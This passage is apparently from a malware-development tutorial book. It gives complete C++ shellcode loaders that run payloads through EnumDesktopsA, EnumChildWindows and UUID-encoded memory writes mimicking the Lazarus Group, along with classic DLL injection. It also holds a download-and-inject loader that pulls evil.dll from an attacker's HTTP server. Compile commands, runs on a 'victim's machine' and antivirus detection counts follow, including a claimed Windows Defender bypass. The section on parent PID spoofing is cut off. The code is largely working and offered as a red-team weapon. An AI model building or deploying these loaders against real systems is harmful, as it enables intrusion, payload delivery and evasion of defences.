hk32, "VirtualAlloc");
fnCreateThread myCreateThread =
(fnCreateThread)myGetProcAddress(
hk32, "CreateThread");
fnWaitForSingleObject myWaitForSingleObject =
(fnWaitForSingleObject)myGetProcAddress(
hk32, "WaitForSingleObject");

PVOID lb = myVirtualAlloc(0, sizeof(my_payload),


MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

265
memcpy(lb, my_payload, sizeof(my_payload));
HANDLE th = myCreateThread(NULL, 0,
(PTHREAD_START_ROUTINE)lb, NULL, 0, NULL);
myWaitForSingleObject(th, INFINITE);
}
As you can see, I used the same hash algorithm.

demo
Let’s go to compile it:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -Wint-to-pointer-cast \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

and run (on victim’s windows 10 x64 machine):


.\hack.exe

As you can see, everything is worked perfectly :)


Let’s go to upload to VirusTotal:

266
https://www.virustotal.com/gui/file/0f5204336b3250fe2756b0a675013099be58f99a
522e3e14161c1709275ec2d5/detection
So 6 of 69 AV engines detect our file as malicious
This tricks can be used to make the static analysis of our malware slightly harder, mainly
focusing on PE format and common indicators.
I saw this trick in the source code of Conti ransomware
I hope this section spreads awareness to the blue teamers of this interesting technique,
and adds a weapon to the red teamers arsenal.
PEB structure
TEB structure
PEB_LDR_DATA structure
GetModuleHandleA
GetProcAddress
windows shellcoding - part 1
windows shellcoding - find kernel32
Conti ransomware source code
source code in Github

267
32. malware development tricks. Download and inject logic. C++
example.

This post is the result of self-researching interesting trick in real-life malwares.

download and execute


Download and execute or in our case download and inject is interesting trick and designed
to download payload or evil DLL from a url, with an emphasis on http, and execute or
inject it. The benefits to the download/execute (or download/inject) approach are that it can
be used behind networks that filter all other traffic aside from HTTP. It can even work
through a pre-configured proxy given that said proxy does not require authentication
information.

practical example
First of all, let’s go to consider classic DLL injection malware. In the simplest case it
will look like this:
/*
* classic DLL injection example
* author: @cocomelonc
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>

char evilDLL[] = "C:\\evil.dll";


unsigned int evilLen = sizeof(evilDLL) + 1;

268
int main(int argc, char* argv[]) {
HANDLE ph; // process handle
HANDLE rt; // remote thread
LPVOID rb; // remote buffer

HMODULE hKernel32 = GetModuleHandle("Kernel32");


VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");

// parse process pid


if ( atoi(argv[1]) == 0) {
printf("PID not found :( exiting...\n");
return -1;
}
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
DWORD(atoi(argv[1])));
rb = VirtualAllocEx(ph, NULL, evilLen,
(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
CloseHandle(ph);
return 0;
}
It’s pretty simple as you can see.
Here I want to add some simple logic for downloading our evil.dll. In the simplest
case it will look like this:
// download evil.dll from url
char* getEvil() {
HINTERNET hSession = InternetOpen((LPCSTR)"Mozilla/5.0",
INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hHttpFile = InternetOpenUrl(hSession,
(LPCSTR)"http://192.168.56.1:4444/evil.dll",
0, 0, 0, 0);
DWORD dwFileSize = 1024;
char* buffer = new char[dwFileSize + 1];
DWORD dwBytesRead;
DWORD dwBytesWritten;
HANDLE hFile = CreateFile("C:\\Temp\\evil.dll",
GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ,
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
do {
buffer = new char[dwFileSize + 1];
ZeroMemory(buffer, sizeof(buffer));

269
InternetReadFile(hHttpFile, (LPVOID)buffer,
dwFileSize, &dwBytesRead);
WriteFile(hFile, &buffer[0], dwBytesRead,
&dwBytesWritten, NULL);
delete[] buffer;
buffer = NULL;
} while (dwBytesRead);

CloseHandle(hFile);
InternetCloseHandle(hHttpFile);
InternetCloseHandle(hSession);
return buffer;
}
This function download evil.dll from attacker’s machine (192.168.56.1:4444,
but in the real-life scenario it can be looks like evilmeowmeow.com:80) and save to
file C:\\Temp\\evil.dll.
Then, we run this code in the main() function. Full source code of our injector is:
/*
evil_inj.cpp
classic DLL injection example
author: @cocomelonc
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
#include <wininet.h>
#pragma comment (lib, "wininet.lib")

char evilDLL[] = "C:\\Temp\\evil.dll";


unsigned int evilLen = sizeof(evilDLL) + 1;

// download evil.dll from url


char* getEvil() {
HINTERNET hSession = InternetOpen((LPCSTR)"Mozilla/5.0",
INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hHttpFile = InternetOpenUrl(hSession,
(LPCSTR)"http://192.168.56.1:4444/evil.dll",
0, 0, 0, 0);
DWORD dwFileSize = 1024;
char* buffer = new char[dwFileSize + 1];
DWORD dwBytesRead;
DWORD dwBytesWritten;

270
HANDLE hFile = CreateFile("C:\\Temp\\evil.dll",
GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ,
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
do {
buffer = new char[dwFileSize + 1];
ZeroMemory(buffer, sizeof(buffer));
InternetReadFile(hHttpFile, (LPVOID)buffer,
dwFileSize, &dwBytesRead);
WriteFile(hFile, &buffer[0], dwBytesRead,
&dwBytesWritten, NULL);
delete[] buffer;
buffer = NULL;
} while (dwBytesRead);

CloseHandle(hFile);
InternetCloseHandle(hHttpFile);
InternetCloseHandle(hSession);
return buffer;
}

// classic DLL injection logic


int main(int argc, char* argv[]) {
HANDLE ph; // process handle
HANDLE rt; // remote thread
LPVOID rb; // remote buffer

// handle to kernel32 and pass it to GetProcAddress


HMODULE hKernel32 = GetModuleHandle("Kernel32");
VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");
char* evil = getEvil();

// parse process ID
if ( atoi(argv[1]) == 0) {
printf("PID not found :( exiting...\n");
return -1;
}
printf("PID: %i\n", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
DWORD(atoi(argv[1])));

// allocate memory buffer for remote process


rb = VirtualAllocEx(ph, NULL, evilLen,
(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

// "copy" evil DLL between processes


WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);

271
// our process start new thread
rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
CloseHandle(ph);
return 0;
}
As usual, for simplicity, we create DLL which just pop-up a message box:
/*
evil.cpp
simple DLL for DLL inject to process
author: @cocomelonc
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule,


DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow from evil.dll!",
"=^..^=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
So finally after we understood entire code of the injector, we can test it.

demo
First of all, compile DLL:
x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -fpermissive

272
Then, compile injector:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mconsole \
-lwininet -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Prepare simple web server on attacker’s machine:


python3 -m http.server 4444

Make sure that the specified path exists in the victim’s machine (C:\\Temp):

273
Finally, run victim process mspaint.exe and run injector hack.exe:
.\hack.exe <mspaint.exe's PID>

274
As you can see, everything is worked perfectly :)
Let’s go to upload to VirusTotal:

https://www.virustotal.com/gui/file/00e3254cdf384d5c1e15e217e89df9f78b73db7a
2b0d2b7f5441c6d8be804961/detection
So 6 of 69 AV engines detect our file as malicious
I hope this section spreads awareness to the blue teamers of this interesting technique,
and adds a weapon to the red teamers arsenal.
InternetOpen
InternetOpenUrl

275
InternetReadFile
InternetCloseHandle
WriteFile
CreateFile
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
OpenProcess
GetProcAddress
LoadLibraryA
classic DLL injection
source code in Github

276
33. malware development tricks. Run shellcode via EnumDesk-
topsA. C++ example.

This section is the result of self-researching interesting trick: run shellcode via enumer-
ates desktops.

EnumDesktopsA
Enumerates all desktops associated with the calling process’s specified window station.
The function passes the name of each desktop to a callback function defined by the
application:
BOOL EnumDesktopsA(
HWINSTA hwinsta,
DESKTOPENUMPROCA lpEnumFunc,
LPARAM lParam
);

practical example
Let’s go to look at a practical example. The trick is pretty simple:
/*
* hack.cpp - run shellcode via EnumDesktopA.
C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/06/27/malware-injection-20.html

277
*/
#include <windows.h>

unsigned char my_payload[] =


// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main(int argc, char* argv[]) {


LPVOID mem = VirtualAlloc(NULL, sizeof(my_payload),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, my_payload, sizeof(my_payload));
EnumDesktopsA(GetProcessWindowStation(),
(DESKTOPENUMPROCA)mem, NULL);
return 0;
}
As you can see, first we allocate memory buffer in a current process via VirtualAlloc:
LPVOID mem = VirtualAlloc(NULL, sizeof(my_payload),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Then “copy” our payload to this memory region:
RtlMoveMemory(mem, my_payload, sizeof(my_payload));
And then, as a pointer to the callback function in EnumDesktopsA we specify this

278
memory region:
EnumDesktopsA(GetProcessWindowStation(),
(DESKTOPENUMPROCA)mem, NULL);
As usually, for simplicity I used meow-meow messagebox payload:
unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

demo
Let’s go to see everything in action. Compile our “malware”:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

and run in our victim’s machine:

279
.\hack.exe

As you can see, everything is work perfectly :)


Let’s go to upload hack.exe to VirusTotal:

280
So, 16 of 66 AV engines detect our file as malicious.
https://www.virustotal.com/gui/file/657ff9b6499f8eed373ac61bf8fc98257295869a
833155f68b4d68bb6e565ca1/detection
And what’s interesting this trick bypassed Windows Defender:

I hope this section spreads awareness to the blue teamers of this interesting technique,
and adds a weapon to the red teamers arsenal.
EnumDesktopsA
source code in github

281
34. malware development tricks. Run shellcode via EnumChild-
Windows. C++ example.

This section is the result of self-researching interesting trick: run shellcode via enumer-
ates the child windows.

EnumChildWindows
Enumerates the child windows of the specified parent window by providing the handle
to each child window to a callback function that has been created by the application.
EnumChildWindows continues until either the final child window has been enumerated
or the callback function returns FALSE:
BOOL EnumChildWindows(
HWND hWndParent,
WNDENUMPROC lpEnumFunc,
LPARAM lParam
);

practical example
Let’s go to look at a practical example. The trick is pretty simple, similar to previous
trick:
/*
* hack.cpp - run shellcode via EnumChildWindows.
C++ implementation

282
* @cocomelonc
* https://cocomelonc.github.io/malware/
2022/07/13/malware-injection-21.html
*/
#include <windows.h>

unsigned char my_payload[] =


// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main(int argc, char* argv[]) {


LPVOID mem = VirtualAlloc(NULL, sizeof(my_payload),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, my_payload, sizeof(my_payload));
EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);
return 0;
}
First we allocate memory buffer in a current process via VirtualAlloc:
LPVOID mem = VirtualAlloc(NULL, sizeof(my_payload),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Then “copy” our payload to this memory region:
RtlMoveMemory(mem, my_payload, sizeof(my_payload));

283
And then, as a pointer to the callback function in EnumChildWindows we specify this
memory region:
EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);
As usually, for simplicity I used meow-meow messagebox payload:
unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

demo
Let’s go to see everything in action. Compile our “malware”:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections \
-Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

284
and run in our victim’s machine:
.\hack.exe

As you can see, everything is work perfectly :)


Let’s go to upload hack.exe to VirusTotal:

285
So, 20 of 69 AV engines detect our file as malicious.
https://www.virustotal.com/gui/file/71c4294f90d6d6c3686601b519c2401a58bb1fb0
3ab9ca3975eca7231af77853/detection
I hope this section spreads awareness to the blue teamers of this interesting technique,
and adds a weapon to the red teamers arsenal.
EnumChildWindows
source code in github

286
35. malware development tricks. run shellcode like a Lazarus
Group. C++ example.

This article is the result of my own research into another interesting trick: run payload
via UuidFromStringA and for example EnumChildWindows.

UuidFromStringA
This function converts a string to UUID:
RPC_STATUS UuidFromStringA(
RPC_CSTR StringUuid,
UUID *Uuid
);
Without using standard functions like memcpy or WriteProcessMemory, this function
can be used to decode data as well as write it to memory.
The shellcode execution technique is comprised of the subsequent steps:
• Allocate memory via VirtualAlloc

• Use UuidFromStringA to convert UUID strings their binary format and store
in memory

• Use EnumChildWindows (or EnumDesktopsA or another candidate) to execute


the payload previously loaded into memory

287
practical example
Let’s go to look at a practical example. The trick is pretty simple, similar to previous
tricks, but with some changes specific for Lazarus Group.
First of all, we need script to convert our desired payload to UUID valid strings. Some-
thing like this (payload_uuid.py):
#!usr/bin/python3

from uuid import UUID


import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-p','--payload', required = True, help = "payload: binary file")
args = vars(parser.parse_args())
pbin = args['payload']

with open(pbin, "rb") as f:


# read in 16 bytes from our input payload
chunk = f.read(16)
while chunk:
# if the chunk is less than 16 bytes then we pad the difference (x90)
if len(chunk) < 16:
padding = 16 - len(chunk)
chunk = chunk + (b"\x90" * padding)
print(UUID(bytes_le=chunk))
chunk = f.read(16)
As usually, I will use my meow-meow messagebox payload: meow.bin.
Run:
python3 payload_uuid.py -p meow.bin

288
Since we already have our payload in UUID format, we are able to construct our proof-
of-concept code to test the following:
#include <windows.h>
#include <rpc.h>
#include <iostream>

#pragma comment(lib, "Rpcrt4.lib")

const char* uuids[] = {


"e48148fc-fff0-ffff-e8d0-000000415141",
"56515250-3148-65d2-488b-52603e488b52",
"8b483e18-2052-483e-8b72-503e480fb74a",
"c9314d4a-3148-acc0-3c61-7c022c2041c1",
"01410dc9-e2c1-52ed-4151-3e488b52203e",
"483c428b-d001-8b3e-8088-0000004885c0",
"01486f74-50d0-8b3e-4818-3e448b402049",
"5ce3d001-ff48-3ec9-418b-34884801d64d",
"3148c931-acc0-c141-c90d-4101c138e075",
"034c3ef1-244c-4508-39d1-75d6583e448b",
"01492440-66d0-413e-8b0c-483e448b401c",
"3ed00149-8b41-8804-4801-d0415841585e",
"58415a59-5941-5a41-4883-ec204152ffe0",
"5a594158-483e-128b-e949-ffffff5d49c7",
"000000c1-3e00-8d48-95fe-0000003e4c8d",
"00010985-4800-c931-41ba-45835607ffd5",
"41c93148-f0ba-a2b5-56ff-d54d656f772d",
"776f656d-0021-5e3d-2e2e-5e3d00909090"
};

int main() {
int elems = sizeof(uuids) / sizeof(uuids[0]);
VOID* mem = VirtualAlloc(NULL, 0x100000, 0x00002000 | 0x00001000,
PAGE_EXECUTE_READWRITE);
DWORD_PTR hptr = (DWORD_PTR)mem;
for (int i = 0; i < elems; i++) {
// printf("[*] Allocating %d of %d uuids\n", i + 1, elems);
// printf("%s\n", *(uuids+i));
RPC_CSTR rcp_cstr = (RPC_CSTR)*(uuids+i);
RPC_STATUS status = UuidFromStringA((RPC_CSTR)rcp_cstr, (UUID*)hptr);
if (status != RPC_S_OK) {
printf("[-] UUID convert error\n");
CloseHandle(mem);
return -1;
}
hptr += 16;

289
}

EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);


// EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);
CloseHandle(mem);
return 0;
}
Pay attention to the function UuidFromStringA. As I wrote earlier, invoking this API
with a memory pointer instead of a UUID pointer will result in the binary representation
of the given UUID being stored in memory.
By chaining many API requests and giving properly designed UUIDs, it is possible to
load the necessary content (payload) into the chosen memory region.
And then, as a pointer to the callback function in EnumChildWindows we specify this
memory region:
EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);
or another function EnumDesktopsA:
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);

demo
Let’s go to see everything in action. Compile our “malware”:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-L/usr/x86_64-w64-mingw32/lib/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive -lrpcrt4

and run in our victim’s machine:


.\hack.exe

290
To make sure that our payload was really launched, you can slightly change a piece of
code:
printf("[*] Hexdump: ");
for (int i = 0; i < elems*16; i++) {
printf("%02X ", ((unsigned char*)mem)[i]);
}
Then compile again:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-L/usr/x86_64-w64-mingw32/lib/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive -lrpcrt4

and run again:


.\hack.exe

291
As you can see, everything is work perfectly :)
Let’s go to upload hack.exe to VirusTotal:

So, 6 of 68 AV engines detect our file as malicious.


https://www.virustotal.com/gui/file/003e45e65361b09fd8e372d29fbdecfb3462d920
2ddf31bf386c728c9cebafa0/detection
There is a caveat. Lazarus Group uses functions HeapCreate and HeapAlloc instead:
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* mem = HeapAlloc(hc, 0, 0x100000);
HeapAlloc is a frequently used API call for allocating heap memory.
This API, as far as I can tell, allows you to allocate specified amounts of memory on
the heap, as opposed to the memory blocks obtained using the VirtualAlloc API.
However, according to the documentation, HeapAlloc can still call VirtualAlloc if
necessary.
It also has the advantage that this API is not so suspicious.
Also Lazarus Group uses function EnumSystemLocalesA for execute payload.
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
nccgroup - RIFT: Analysing a Lazarus Shellcode Execution Method
Lazarus Group

292
source code in github

293
36. malware development tricks: parent PID spoofing. Simple C++
example

This article is the result of my own investigation into interesting trick: parent process
ID spoofing.

parent PID spoofing


Monitoring the relationships between parent and child processes is a common method
used by threat hunting teams to identify malicious activities. Red teams have adopted
parent PID spoofing as a method of evasion. The CreateProcess Windows API call
supports a parameter that allows the user to specify the Parent PID. This means that
a malicious process can use a different parent than the one being executed when it is
created.

practical example
Let’s look at a practical example. First of all, let’s say that we have some process, like
mspaint.exe:

294
As you can see, PID is 3396. If we look at its parent process (PID: 2876), we can see
explorer.exe:

Also we can see via Process Hacker that current directory is C:\Windows\System32\:

295
Then, the execution flow of this trick is detailed in the following steps:
I got explorer.exe PID:
int pid = findMyProc(argv[1]);
if (pid) {
printf("PID = %d\n", pid);
}

HANDLE ph = OpenProcess(PROCESS_ALL_ACCESS, false, (DWORD)pid);


Create process mspaint.exe:
CreateProcessA("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, TRUE,
CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,
NULL, NULL, reinterpret_cast<LPSTARTUPINFOA>(&si), &pi);
LPVOID ba = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, 0x1000,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Write meow-meow payload to created process memory:
BOOL res = WriteProcessMemory(pi.hProcess, ba, (LPVOID)my_payload, sizeof(my_payload), nb);
Add a user-mode asynchronous procedure call (APC) object to the APC queue of the
thread of the created process:
QueueUserAPC((PAPCFUNC)ba, pi.hThread, 0);
Resume thread:

296
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
So, the full source code of this trick is:
/*
hack.cpp
parent PID spoofing with APC
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html
*/
#include <windows.h>
#include <tlhelp32.h>
